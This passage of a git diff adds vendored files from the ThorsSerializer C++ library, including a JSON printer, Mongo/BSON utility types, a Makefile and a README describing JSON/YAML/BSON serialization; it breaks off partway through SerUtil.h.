ThorsLogAndThrow("ThorsAnvil::Serialize::JsonPrinter", + "closeMap", + "Invalid call to closeMap(): Currently not in a map"); + } + state.pop_back(); + output << PrefixMapClose(config.characteristics, state.size(), state.back()) << "}"; +} +HEADER_ONLY_INCLUDE +void JsonPrinter::openArray(std::size_t) +{ + output << PrefixArray(config.characteristics, state.size(), state.back()) << "["; + state.emplace_back(0, TraitType::Array); +} +HEADER_ONLY_INCLUDE +void JsonPrinter::closeArray() +{ + if (state.back().second != TraitType::Array) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonPrinter", + "closeArray", + "Invalid call to closeArray(): Currently not in an array"); + } + state.pop_back(); + output << PrefixArrayClose(config.characteristics, state.size(), state.back()) << "]"; +} + +HEADER_ONLY_INCLUDE +void JsonPrinter::addKey(std::string const& key) +{ + if (state.back().second != TraitType::Map) + { + ThorsLogAndThrow("ThorsAnvil::Serialize::JsonPrinter", + "addKey", + "Invalid call to addKey(): Currently not in a map"); + } + output << PrefixKey(config.characteristics, state.size(), state.back()) << '"' << key << '"'; +} + +HEADER_ONLY_INCLUDE +void JsonPrinter::addPrefix() +{ + output << PrefixValue(config.characteristics, state.size(), state.back()); +} + +template +struct FormatDouble +{ + T const & value; + FormatDouble(T const& value): value(value){} + friend std::ostream& operator<<(std::ostream& str, FormatDouble const& formater) + { + if (formater.value == 0) + { + return str << "0.0"; + } + else + { + return str << formater.value; + } + } +}; + +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(short int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(long int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(long long int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} + +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(unsigned short int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(unsigned int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(unsigned long int value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(unsigned long long int value){output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} + +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(float value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << FormatDouble(value);} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(double value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << FormatDouble(value);} +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(long double value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << FormatDouble(value);} + +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(bool value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << std::boolalpha << value;} + +HEADER_ONLY_INCLUDE void JsonPrinter::addValue(std::string const& value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << '"' << EscapeString(value) << '"';} +HEADER_ONLY_INCLUDE void JsonPrinter::addRawValue(std::string const& value) {output << PrefixValue(config.characteristics, state.size(), state.back()) << value;} + +HEADER_ONLY_INCLUDE void JsonPrinter::addNull() {output << PrefixValue(config.characteristics, state.size(), state.back()) << "null";} diff --git a/Extern/include/ThorsSerializer/JsonPrinter.h b/Extern/include/ThorsSerializer/JsonPrinter.h new file mode 100644 index 0000000..331f01a --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonPrinter.h @@ -0,0 +1,64 @@ +#ifndef THORS_ANVIL_SERIALIZE_JSON_PRINTER_H +#define THORS_ANVIL_SERIALIZE_JSON_PRINTER_H +/* + * JsonaryPrinter + * See documentation in JsonParser.h + */ + +#include "Serialize.h" +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + +class JsonPrinter: public PrinterInterface +{ + std::vector> state; + public: + JsonPrinter(std::ostream& output, PrinterConfig config = PrinterConfig{}); + virtual FormatType formatType() override {return FormatType::Json;} + virtual void openDoc() override; + virtual void closeDoc() override; + + virtual void openMap(std::size_t size) override; + virtual void closeMap() override; + virtual void openArray(std::size_t size) override; + virtual void closeArray() override; + + virtual void addKey(std::string const& key) override; + + virtual void addValue(short int value) override; + virtual void addValue(int value) override; + virtual void addValue(long int value) override; + virtual void addValue(long long int value) override; + + virtual void addValue(unsigned short int value) override; + virtual void addValue(unsigned int value) override; + virtual void addValue(unsigned long int value) override; + virtual void addValue(unsigned long long int value) override; + + virtual void addValue(float value) override; + virtual void addValue(double value) override; + virtual void addValue(long double value) override; + + virtual void addValue(bool value) override; + + virtual void addValue(std::string const& value) override; + + virtual void addRawValue(std::string const& value) override; + + virtual void addNull() override; + + void addPrefix(); +}; + + } +} + +#if defined(HEADER_ONLY) && HEADER_ONLY == 1 +#include "JsonPrinter.source" +#endif + +#endif diff --git a/Extern/include/ThorsSerializer/JsonThor.h b/Extern/include/ThorsSerializer/JsonThor.h new file mode 100644 index 0000000..6a9a4f9 --- /dev/null +++ b/Extern/include/ThorsSerializer/JsonThor.h @@ -0,0 +1,70 @@ +#ifndef THORS_ANVIL_SERIALIZE_JSON_H +#define THORS_ANVIL_SERIALIZE_JSON_H +/* + * Defines the Json Serialization interface + * ThorsAnvil::Serialize::Json + * ThorsAnvil::Serialize::jsonExporter + * ThorsAnvil::Serialize::jsonImporter + * + * Usage: + * std::cout << jsonExporter(object); // converts object to Json on an output stream + * std::cin >> jsonImporter(object); // converts Json to a C++ object from an input stream + */ + +#include "JsonParser.h" +#include "JsonPrinter.h" +#include "Exporter.h" +#include "Importer.h" +#include "SerUtil.h" + +namespace ThorsAnvil +{ + namespace Serialize + { + +struct Json +{ + using Parser = JsonParser; + using Printer = JsonPrinter; +}; + +// @function-api +// @param value The object to be serialized. +// @param config.characteristics 'Default': uses Config/Stream depending on global config. 'Config': Is verbose and logical. 'Stream': Remove all white space. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator<< for serialization. +template +Exporter jsonExporter(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}) +{ + return Exporter(value, config); +} +template +[[deprecated("Upgrade to use jsonExporter(). It has a more consistent interface. The difference is exceptions are caught by default and you need to manually turn the m off. Turning the exceptions on/off is now part of the config object rahter than a seprate parameter.")]] +Exporter jsonExport(T const& value, PrinterInterface::PrinterConfig config = PrinterInterface::PrinterConfig{}, bool catchExceptions = false) +{ + config.catchExceptions = catchExceptions; + return jsonExporter(value, config); +} +// @function-api +// @param value The object to be de-serialized. +// @param config.parseStrictness 'Weak': ignore missing extra fields. 'Strict': Any missing or extra fields throws exception. +// @param config.polymorphicMarker Jason object name for holding the polymorphic class name of the type. Default: __type +// @param config.catchExceptions 'false: exceptions propogate. 'true': parsing exceptions are stopped. +// @return Object that can be passed to operator>> for de-serialization. +template +Importer jsonImporter(T& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}) +{ + return Importer(value, config); +} +template +[[deprecated("Upgrade to use jsonImporter(). It has a more consistent interface. The difference is exceptions are caught by default and you need to manually turn the m off. Turning the exceptions on/off is now part of the config object rahter than a seprate parameter.")]] +Importer jsonImport(T& value, ParserInterface::ParserConfig config = ParserInterface::ParserConfig{}, bool catchExceptions = false) +{ + config.catchExceptions = catchExceptions; + return jsonImporter(value, config); +} + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/Makefile b/Extern/include/ThorsSerializer/Makefile new file mode 100644 index 0000000..f73a4e6 --- /dev/null +++ b/Extern/include/ThorsSerializer/Makefile @@ -0,0 +1,27 @@ + +THORSANVIL_ROOT ?= $(realpath ../../) +COVERAGE_REQUIRED = 70 + +TARGET = ThorSerialize.lib +LINK_LIBS = ThorsLogging +UNITTEST_LINK_LIBS = ThorsLogging +UNITTEST_LDLIBS = -ldl +# There is no executable code in this header. Just an enum declaration. +TEST_IGNORE += JsonLexemes.h + +# +# Note: SERIALIZATION_EXTERN_LIBS +#▸ ▸ Is set up in the config for any external libraries that we need. +# + +FILE_WARNING_FLAGS += $(NO_DEPRECATED_REGISTER_TEST) -Wno-unknown-pragmas $(LITERAL_WARNING) +LDLIBS_EXTERN_BUILD += $(yaml_ROOT_LIB) +%/JsonLexer.lex.o: FILE_WARNING_FLAGS += -Wno-sign-compare -Wno-register +%/JsonLexer1.lex.o: FILE_WARNING_FLAGS += -Wno-deprecated-register +%/DeprecatedTest.o: FILE_WARNING_FLAGS += -Wno-deprecated-declarations + +include $(THORSANVIL_ROOT)/build/tools/Makefile + + + + diff --git a/Extern/include/ThorsSerializer/MongoUtility.cpp b/Extern/include/ThorsSerializer/MongoUtility.cpp new file mode 100644 index 0000000..86d41f9 --- /dev/null +++ b/Extern/include/ThorsSerializer/MongoUtility.cpp @@ -0,0 +1,122 @@ +#include "MongoUtility.h" + +#include +#include +#include +#include +#include + +using namespace ThorsAnvil::Serialize; +using namespace ThorsAnvil::Serialize::MongoUtility; + +int ObjectID::classCounter = 32769; + +ObjectID::ObjectID(std::int32_t timestamp, std::int64_t random, std::int32_t counter) + : timestamp(timestamp) + , random(random) + , counter(counter) +{} + +namespace ThorsAnvil::Serialize::MongoUtility +{ + BsonPrinter& operator<<(BsonPrinter& printer, ObjectID const& data) + { + printer.writeBE<4>(data.timestamp); + printer.writeBE<5>(data.random); + printer.writeBE<3>(data.counter); + return printer; + } + JsonPrinter& operator<<(JsonPrinter& printer, ObjectID const& data) + { + printer.stream() << ThorsAnvil::Utility::StreamFormatterNoChange{} + << "\"" + << std::hex << std::setfill('0') + << std::setw( 8) << data.timestamp << "-" + << std::setw(10) << data.random << "-" + << std::setw( 6) << data.counter + << "\""; + return printer; + } + BsonParser& operator>>(BsonParser& parser, ObjectID& data) + { + data.timestamp = parser.readBE<4, std::int32_t>(); + data.random = parser.readBE<5, std::int64_t>(); + data.counter = parser.readBE<3, std::int32_t>(); + return parser; + } + JsonParser& operator>>(JsonParser& parser, ObjectID& data) + { + char x1, x2, x3, x4; + parser.stream() >> ThorsAnvil::Utility::StreamFormatterNoChange{} >> std::hex >> x1 >> data.timestamp >> x2 >> data.random >> x3 >> data.counter >> x4; + return parser; + } +} + +UTCDateTime::UTCDateTime(std::int64_t datetime) + : datetime(datetime) +{} +namespace ThorsAnvil::Serialize::MongoUtility +{ + BsonPrinter& operator<<(BsonPrinter& printer, UTCDateTime const& data) + { + printer.writeLE<8, std::int64_t>(data.datetime); + return printer; + } + JsonPrinter& operator<<(JsonPrinter& printer, UTCDateTime const& data) + { + printer.stream() << ThorsAnvil::Utility::StreamFormatterNoChange{} << std::hex << std::setw(16) << std::setfill('0') << data.datetime; + return printer; + } + BsonParser& operator>>(BsonParser& parser, UTCDateTime& data) + { + data.datetime = parser.readLE<8, std::int64_t>(); + return parser; + } + JsonParser& operator>>(JsonParser& parser, UTCDateTime& data) + { + parser.stream() >> ThorsAnvil::Utility::StreamFormatterNoChange{} >> std::hex >> data.datetime; + return parser; + } +} + +BsonTimeStamp::BsonTimeStamp(std::time_t timestamp, int inc) + : increment(inc) + , timestamp(timestamp) +{} + +UTCDateTime BsonTimeStamp::asDateTime() +{ + return UTCDateTime(timestamp * 1000); +} + +namespace ThorsAnvil::Serialize::MongoUtility +{ + BsonPrinter& operator<<(BsonPrinter& printer, BsonTimeStamp const& data) + { + printer.writeBE<4, std::int32_t>(data.increment); + printer.writeBE<4, std::int32_t>(data.timestamp); + return printer; + } + JsonPrinter& operator<<(JsonPrinter& printer, BsonTimeStamp const& data) + { + printer.stream() << ThorsAnvil::Utility::StreamFormatterNoChange{} + << "\"" + << std::hex << std::setw(8) << std::setfill('0') + << data.timestamp << "-" + << data.increment + << "\""; + return printer; + } + BsonParser& operator>>(BsonParser& parser, BsonTimeStamp& data) + { + data.increment = parser.readBE<4, std::int32_t>(); + data.timestamp = parser.readBE<4, std::int32_t>(); + return parser; + } + JsonParser& operator>>(JsonParser& parser, BsonTimeStamp& data) + { + char x1, x2, x3; + parser.stream() >> ThorsAnvil::Utility::StreamFormatterNoChange{} >> std::hex >> x1 >> data.timestamp >> x2 >> data.increment >> x3; + return parser; + } +} diff --git a/Extern/include/ThorsSerializer/MongoUtility.h b/Extern/include/ThorsSerializer/MongoUtility.h new file mode 100644 index 0000000..be15ac0 --- /dev/null +++ b/Extern/include/ThorsSerializer/MongoUtility.h @@ -0,0 +1,253 @@ +#ifndef THORS_ANVIL_SERIALIZE_MONGO_UTILITY_H +#define THORS_ANVIL_SERIALIZE_MONGO_UTILITY_H + +#include "BsonParser.h" +#include "BsonPrinter.h" +#include "Exporter.h" +#include "Importer.h" +#include "SerUtil.h" +#include "CustomSerialization.h" +#include "ThorsIOUtil/Utility.h" + +#include "BsonThor.h" +#include "JsonThor.h" +#include + +namespace ThorsAnvil +{ + namespace Serialize + { + namespace MongoUtility + { + +/* + * BSON Elements + * '\x01' POD: float/double + * '\x02' std::string + * '\x03' All the following work: + * Structure + * std::map/std::unordered_map + * std::multimap/std::unordered_multimap + * '\x04' All the following work: + * std::vector + * std::array + * initializer_list + * std::list + * std::dequeu + * std::set/std::multiset + * std::unordered_set/std::unordered_multiset + * std::map/std::unordered_map => Key Value pairs + * std::multimap/std::unordered_multimap => Key Value pairs + * '\x05' Use DataInterface and BinarySerializer for Serialization + * '\x07' Use ObjectID or Use NormalSerializationInterface and ObjectIDSerializer for Serialization + * '\x08' POD bool + * '\x09' Use UTCDateTime or Use NormalSerializationInterface and DataTimeSerializer + * '\x0A' nullptr + * '\x0B' use RegExInterface and RegExSerializer for Serialization + * '\x0D' use DataInterface and JavascriptSerializer for Serialization + * '\x10' Integer types that are shorter or equal to 32 bits: short/int/long + * '\x11' use NormalSerializationInterface and TimeStampSerializer for Serialization + * '\x12' Integer types that are longer or equal to 64 bits: long long + * '\x13' POD long double (if long double is IEEE compliant) + * + * Not Implemented yet. + * '\xFF' e_name Min key + * '\x7F' e_name Max key + * + * Deprecated in standard and not used. + * '\x06' + * '\x0C' + * '\x0E' + * '\x0F' + * + * + * For the terms: + * Use Interface and for Serialization + * This means make the type you want to serialize implement the interface X (described below) + * Then add the following declaration: + * class MyType: public Interface + * { + * Note: You don't actually want to inherit from these interfaces. + * This is a Duck type interface. You wan to implement the functions + * specified by the interface only. + * }; + * + * ThorsAnvil_MakeTraitCustomSerialize(MyType, ); + * + * The special one here is the 'NormalSerialization* interface. + * Rather than implement a specific interface you simply implement symetric serialization functions. + * i.e. overload the `operator<<` and `operator>>` + */ + +#if 0 +class NormalSerializationInterface +{ + friend std::ostream& operator<<(std::ostream& stream, ObjectID const& data); + friend std::istream& operator<<(std::istream& stream, ObjectID& data); +}; +class DataInterface +{ + public: + std::size_t getSize() const = 0; + void resize(std::size_t size) = 0; + char* getBuffer() = 0; +}; +class RegExInterface +{ + public: + std::string const& pattern() const = 0; + std::string const& options() const = 0; +}; +#endif + +template +class FixedSizeStreamableObjectSerializer: public DefaultCustomSerializer +{ + // Assumes T implements the DuckInterface "NormalSerializationInterface" (see above) + // Note: You should pay special attention to the size (number of bytes these object should write). + public: + virtual char getBsonByteMark() const override {return type;} + virtual std::size_t getPrintSizeBson(BsonPrinter& /*printer*/, T const& /*object*/) const override {return size;} + virtual void writeBson(BsonPrinter& printer, T const& object) const override {printer << object;} + virtual void readBson(BsonParser& parser, char /*byteMarker*/, T& object) const override {parser >> object;} + + virtual void writeJson(JsonPrinter& printer, T const& object) const override {printer << object;} + virtual void readJson(JsonParser& parser, T& object) const override {parser >> object;} +}; + +// Specializations of FixedSizeStreamableObjectSerializer +template class ObjectIDSerializer: public FixedSizeStreamableObjectSerializer {}; +template class DataTimeSerializer: public FixedSizeStreamableObjectSerializer {}; +template class TimeStampSerializer: public FixedSizeStreamableObjectSerializer{}; + +template +class BinarySerializer: public DefaultCustomSerializer +{ + // Assumes T implements the DuckInterface "DataInterface" (see above) + public: + virtual char getBsonByteMark() const override {return '\x05';} + virtual std::size_t getPrintSizeBson(BsonPrinter& /*printer*/, T const& object) const override {return 4 + 1 + object.getSize();} + virtual void writeBson(BsonPrinter& printer, T const& object) const override + { + std::int32_t size = object.getSize(); + char type = encodeType; + printer.writeLE<4, std::int32_t>(size); + printer.stream().write(&type, 1); + printer.stream().write(object.getBuffer(), object.getSize()); + } + virtual void readBson(BsonParser& parser, char /*byteMarker*/, T& object) const override + { + std::int32_t size = parser.readLE<4, std::int32_t>(); + char type; + object.resize(size); + parser.stream().read(&type, 1); + parser.stream().read(object.getBuffer(), size); + } +}; + +template +class JavascriptSerializer: public DefaultCustomSerializer +{ + // Assumes T implements the DuckInterface "DataInterface" (see above) + public: + virtual char getBsonByteMark() const override {return '\x0D';} + virtual std::size_t getPrintSizeBson(BsonPrinter& /*printer*/, T const& object) const override {return 4 + object.getSize() + 1;} + virtual void writeBson(BsonPrinter& printer, T const& object) const override + { + std::int32_t size = object.getSize(); + printer.writeLE<4, std::int32_t>(size + 1); + printer.stream().write(object.getBuffer(), size); + printer.stream().write("", 1); + } + virtual void readBson(BsonParser& parser, char /*byteMarker*/, T& object) const override + { + std::int32_t size = parser.readLE<4, std::int32_t>(); + object.resize(size); + parser.stream().read(object.getBuffer(), size); + object.resize(size - 1); + } +}; + +template +class RegExSerializer: public DefaultCustomSerializer +{ + // Assumes T implements the DuckInterface "RegExInterface" (see above) + public: + virtual char getBsonByteMark() const override {return '\x0B';} + virtual std::size_t getPrintSizeBson(BsonPrinter& /*printer*/, T const& object) const override {return object.pattern().size() + 1 + object.options().size() + 1;} + virtual void writeBson(BsonPrinter& printer, T const& object) const override + { + printer.stream().write(object.pattern().data(), object.pattern().size()); + printer.stream().write("", 1); + printer.stream().write(object.options().data(), object.options().size()); + printer.stream().write("", 1); + } + virtual void readBson(BsonParser& parser, char /*byteMarker*/, T& object) const override + { + std::getline(parser.stream(), object.pattern(), '\0'); + std::getline(parser.stream(), object.options(), '\0'); + } +}; + +class ObjectID +{ + // 4 byte timestamp + // 5 byte random + // 3 byte incrementing counter. + static int classCounter; // = rand(); + + std::int32_t timestamp; + std::int64_t random; + std::int32_t counter; + public: + static int getNextCounter() + { + return (classCounter++) % 0xFFF; + } + ObjectID(std::int32_t timestamp = std::chrono::duration_cast(std::chrono::system_clock::now().time_since_epoch()).count(), std::int64_t random = std::rand(), std::int32_t counter = ObjectID::getNextCounter()); + bool operator==(ObjectID const& rhs) const {return std::tie(timestamp, random, counter) == std::tie(rhs.timestamp, rhs.random, rhs.counter);} + bool operator<(ObjectID const& rhs) const {return std::tie(timestamp, random, counter) < std::tie(rhs.timestamp, rhs.random, rhs.counter);} + friend BsonPrinter& operator<<(BsonPrinter& printer, ObjectID const& data); + friend JsonPrinter& operator<<(JsonPrinter& printer, ObjectID const& data); + friend BsonParser& operator>>(BsonParser& parser, ObjectID& data); + friend JsonParser& operator>>(JsonParser& parser, ObjectID& data); +}; +class UTCDateTime +{ + // Time in ms since the epoch + std::int64_t datetime; + public: + UTCDateTime(std::int64_t datetime = std::chrono::duration_cast(std::chrono::system_clock::now().time_since_epoch()).count()); + bool operator==(UTCDateTime const& rhs) const {return datetime == rhs.datetime;} + bool operator<(UTCDateTime const& rhs) const {return datetime < rhs.datetime;} + friend BsonPrinter& operator<<(BsonPrinter& printer, UTCDateTime const& data); + friend JsonPrinter& operator<<(JsonPrinter& printer, UTCDateTime const& data); + friend BsonParser& operator>>(BsonParser& parser, UTCDateTime& data); + friend JsonParser& operator>>(JsonParser& parser, UTCDateTime& data); +}; + +class BsonTimeStamp +{ + // First 4 bytes are an increment + // Second 4 are a timestamp (seconds since the epoch) + std::int32_t increment; + std::int32_t timestamp; + public: + BsonTimeStamp(std::time_t timestamp = std::chrono::duration_cast(std::chrono::system_clock::now().time_since_epoch()).count(), int inc = 0); + bool operator==(BsonTimeStamp const& rhs) const {return std::tie(increment, timestamp) == std::tie(rhs.increment, rhs.timestamp);} + bool operator<(BsonTimeStamp const& rhs) const {return std::tie(increment, timestamp) < std::tie(rhs.increment, rhs.timestamp);} + UTCDateTime asDateTime(); + friend BsonPrinter& operator<<(BsonPrinter& printer, BsonTimeStamp const& data); + friend JsonPrinter& operator<<(JsonPrinter& printer, BsonTimeStamp const& data); + friend BsonParser& operator>>(BsonParser& parser, BsonTimeStamp& data); + friend JsonParser& operator>>(JsonParser& parser, BsonTimeStamp& data); +}; + } + } +} + +ThorsAnvil_MakeTraitCustomSerialize(ThorsAnvil::Serialize::MongoUtility::ObjectID, ThorsAnvil::Serialize::MongoUtility::ObjectIDSerializer); +ThorsAnvil_MakeTraitCustomSerialize(ThorsAnvil::Serialize::MongoUtility::UTCDateTime, ThorsAnvil::Serialize::MongoUtility::DataTimeSerializer); +ThorsAnvil_MakeTraitCustomSerialize(ThorsAnvil::Serialize::MongoUtility::BsonTimeStamp, ThorsAnvil::Serialize::MongoUtility::TimeStampSerializer); + +#endif diff --git a/Extern/include/ThorsSerializer/README.md b/Extern/include/ThorsSerializer/README.md new file mode 100644 index 0000000..fb67528 --- /dev/null +++ b/Extern/include/ThorsSerializer/README.md @@ -0,0 +1,235 @@ + +# ThorSerialize + +## Support for + +* [Json](https://www.json.org/json-en.html) +* [Yaml](https://yaml.org/) +* [Bson](http://bsonspec.org/) **NEW** + +This is a framework for serializing C++ objects to/from stream in some "standard formats" efficiently. +Standard Formats: Currently supported are Json/Yaml/Bson. + +It is designed so that no intermediate format it used; data is read directly from the object and placed on the stream, conversely data is read directly from the stream into C++ objects. Note because C++ container con only hold fully formed objects, data is read into temporary object then inserted (moved if possible otherwise copied) into the container. + +User defined classes require no additional code to be serialized, only a simple declaration that defines what member need to be serialized. The appropriate declarations for the standard containers has already been provided. + +**Note the constructor is not called.** +The serialization class reads/writes built-in data by default and reads/writes these values directly into the members of the object. To read/write non built-in types you must define a serialization for that class. (Note: it is possible to get this library to call the constructors and methods (this is how the standard containers are accessed). But I have not documented this procedure yet as I want to get some good use cases together so I can define a consistent interface for its usage). + +## Usage + +There are two main functions for export and import that can be used with streams. +```C++ XXX + Exporter() eg jsonExporter(o) + Importer() eg jsonImporter(o) +``` +The object part of the above declaration is any object that has a type with ThorsAnvil::Serialize::Traits<> declaration defined for that type. Traits declarations are already provided for all std:: container types and it is simple to provide declarations for user defined types (See below). + +A simple example of usage would be (link against libThorSerialize14.dynlib) +```C++ + #include "ThorSerialize/SerUtil.h" + #include "ThorSerialize/JsonThor.h" + #include "ThorSerialize/BsonThor.h" + #include + + namespace TS = ThorsAnvil::Serialize; + + int main() + { + std::vector data { 1, 2, 3, 4, 5, 6, 7, 8 }; + std::cout << TS::jsonExporter(data) << "\n"; + + std::ofstream file("data.bson"); + file << bsonExporter(data); + } + + // Output + [1, 2, 3, 4, 5, 6, 7, 8] +``` +## User declared Types + +User defined classes can be made serialize-able by defining a specialization of the class ThorsAnvil::Serialize::Traits<>. +The macros `ThorsAnvil_MakeTrait` is provided to simplify this for most standard situations. Yes I know macros are nasty. But the idea is to make usage easier and hide the real work. So the macro takes the names of the members (and generates that appropriate type information from the names). A more detailed explanation of how to build a Traits class by hand is provided below. + +A simple example of a traits class definition for a user defined type. +```C++ + #include "ThorSerialize/Traits.h" + + namespace TS = ThorsAnvil::Serialize; + + class MyClass + { + int member1; + double data2; + std::string name; + + // To allow the serialization code access to private members + // the "Traits<>" must be a friend of the class. If the members are + // all public then this is not needed. + friend class TS::Traits; + + public: + MyClass(int member1, double data2, std::string const& name) + : member1(member1), data2(data2), name(name) + {} + }; + + // This macros crates the appropriate Traits class specialized for the + // user defined class allowing it to be used by jsonImporter() and jsonExporter() + ThorsAnvil_MakeTrait(MyClass, member1, data2, name); +``` + +This is all that is need to make a class serialize-able. +```C++ + #include "ThorSerialize/SerUtil.h" + #include "ThorSerialize/JsonThor.h" + #include + + namespace TS = ThorsAnvil::Serialize; + + int main() + { + MyClass object(15, 100.123, "A string"); + std::cout << TS::jsonExporter(object) << "\n"; + } + + // Output + {"member1":15, "data2": 100.123, "name":"A string"} +``` +## Members + +A serialize-able class can be a member/parent or contained in another serialize-able with no additional work. + + #include "ThorSerialize/SerUtil.h" + #include "ThorSerialize/JsonThor.h" + #include + + namespace TS = ThorsAnvil::Serialize; + + int main() + { + std::vector vec1{ {23, 89.99, "obj1"}, {67, 89.98. "obj2"}, {32, 23.45, "obj3"}}; + std::cout << TS::jsonExporter(vec1) << "\n"; + } + + // Output + [{"member1":23, "data2": 89.99, "name":"obj1"}, {"member1":67, "data2": 89.98, "name":"obj2"}, {"member1":32, "data2": 23.45, "name":"obj3"}] + +## Inheriting + +A user defined class that inherits from a serialize-able class can also be extended the serializable attributes but you must a slightly different macro: + + #include "MyClass.h" + #include "ThorSerialize/Traits.h" + + + namespace TS = ThorsAnvil::Serialize; + + class MySubClass: public MyClass + { + std::string parentName; + + // To allow the serialization code access to private members + // the "Traits<>" must be a friend of the class. If the members are + // all public then this is not needed. + friend class TS::Traits; + + public: + MySubClass(int member1, double data2, std::string const& name, std::string const& parentName) + : MyClass(member1, data2, name) + , parentName(parentName) + {} + }; + + // This macros crates the appropriate Traits class specialized for the + // user defined class allowing it to be used by jsonImporter() and jsonExporter() + ThorsAnvil_ExpandTrait(MyClass, MySubClass, parentName); + +The only real difference is exchanging the `ThorsAnvil_MakeTrait` for `ThorsAnvil_ExpandTrait` macro. Both macros accept any number of field names. + +## Serialization Formats + +Currently the framework exposes three specific format types (Json/Yaml/Bson). But it has been designed to be easily extended to support other formats that may be useful. The basis for other formats is defined via the ParserInterface and PrinterInterface classes. + + +A framework for implementing parsers onto. + +For each implementation we expect to see: + + File: Class: Description: + ==================================================== + Printer.h Printer A class that implements the PrinterInterface (defined in Serialize.h) + Parser.h Parser A class that implements the ParserInterface (defined in Serialize.h) + Thor.h Name A class "Name" that defines the names of the printer and parser types. + Import Import/Export function that simply wrap the Import/Export functions + Export generic function (using "Name") as input. + +Other Files to make Serialization automatic: + + File: Class: Description: + ==================================================== + Serialize.h ParserInterface An interface to parsing used by DeSerialize + PrinterInterface An interface to printing used by Serialize + Serializer Generic serialize class that uses Traits and PrinterInterface + DeSerializer Generic de-serializer class that uses Traits and ParserInterface + + Exporter.h Exporter (class) Used to interact with stream. + Export (wrapper to create Exporter) Specializations should just wrap these + Importer.h Importer (class) + Import (wraooer to create Importer) + + Traits.h Traits + Macros: ThorsAnvil_MakeTrait Simplifies the creation of Traits for user types. + + SerUtil.h Traits> Provides traits for all the standard containers. + Traits> + Traits> + Traits> + Traits> + Traits> + Traits> + Traits> + Traits> + + + UnicodeIterator.h Iterator for replacing escape characters with their actual encodings for use inside the application. + Should be used by the Parser class on strings that can contain escape characters. + + +Usage: + + #include "Serialize.h" + #include "JsonThor.h" + #include "YamlThor.h" + #include "BsonThor.h" + + namespace TS = ThorsAnvil::Serialize; + + std::cout << TS::jsonExporter(object1); + std::cin >> TS::jsonImporter(object1); + + std::cout << TS::yamlExporter(object1); + std::cin >> TS::yamlImporter(object1); + + std::cout << TS::bsonExporter(object1); + std::cin >> TS::bsonImporter(object1); + +All standard types have a serialization defined for them. To add one for your class. + + class MyClass + { + int value1; + double data; + std::string descriptions; + + friend class ThorsAnvil::Serialize::Traits; + public: + // STUFF + }; + + ThorsAnvil_MakeTrait(MyClass, value1, data, descriptions) + + + + diff --git a/Extern/include/ThorsSerializer/SerUtil.h b/Extern/include/ThorsSerializer/SerUtil.h new file mode 100644 index 0000000..df97c23 --- /dev/null +++ b/Extern/include/ThorsSerializer/SerUtil.h @@ -0,0 +1,930 @@ +#ifndef THORS_ANVIL_SERIALIZE_SER_UTIL_H +#define THORS_ANVIL_SERIALIZE_SER_UTIL_H + +#include "Traits.h" +#include "Serialize.h" +#include +#include +//#include "ThorsIOUtil/Utility.h" +//#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Container Types: + * ================ + * + * MapLike + * ArrayLike + * + * GetValueType + * PutValueType + * MemberInserter + * MemberEmplacer + * ContainerMemberExtractorInserter + * ContainerMemberExtractorEmplacer + * + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * + * C++ 14 Containers + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * Traits> + * + * Traits> + */ + +namespace ThorsAnvil +{ + namespace Serialize + { +/* Container Helper */ + +template +struct MapLike +{ + static std::size_t getPrintSize(PrinterInterface& printer, C const& object, bool) + { + std::size_t result = printer.getSizeMap(std::size(object)); + for (auto const& value: object) + { + result += std::size(value.first); + result += Traits::getPrintSize(printer, value.second, false); + } + return result; + } +}; + +template +struct ArrayLike +{ + static std::size_t getPrintSize(PrinterInterface& printer, C const& object, bool) + { + std::size_t result = printer.getSizeArray(std::size(object)); + for (auto const& val: object) + { + result += Traits::getPrintSize(printer, val, false); + } + return result; + } +}; + + +/* ------------------------------- GetValueType ------------------------------- */ +/* + * Used to retrieve a value from a stream. + * A normal value is retrieved directly from the stream (via the parser object). + * A compound type Map/Array is retrieved from the stream using a DeSerializer. + */ +template::type> +class GetValueType +{ + public: + GetValueType(ParserInterface& parser, V& value) + { + DeSerializer deSerializer(parser, false); + deSerializer.parse(value); + } +}; + +template +class GetValueType +{ + public: + GetValueType(ParserInterface& parser, V& value) + { + if (parser.getToken() != ThorsAnvil::Serialize::ParserInterface::ParserToken::Value) + { + ThorsLogAndThrow("ThorsAnvil::Serializer::SerMap::GetValueType", + 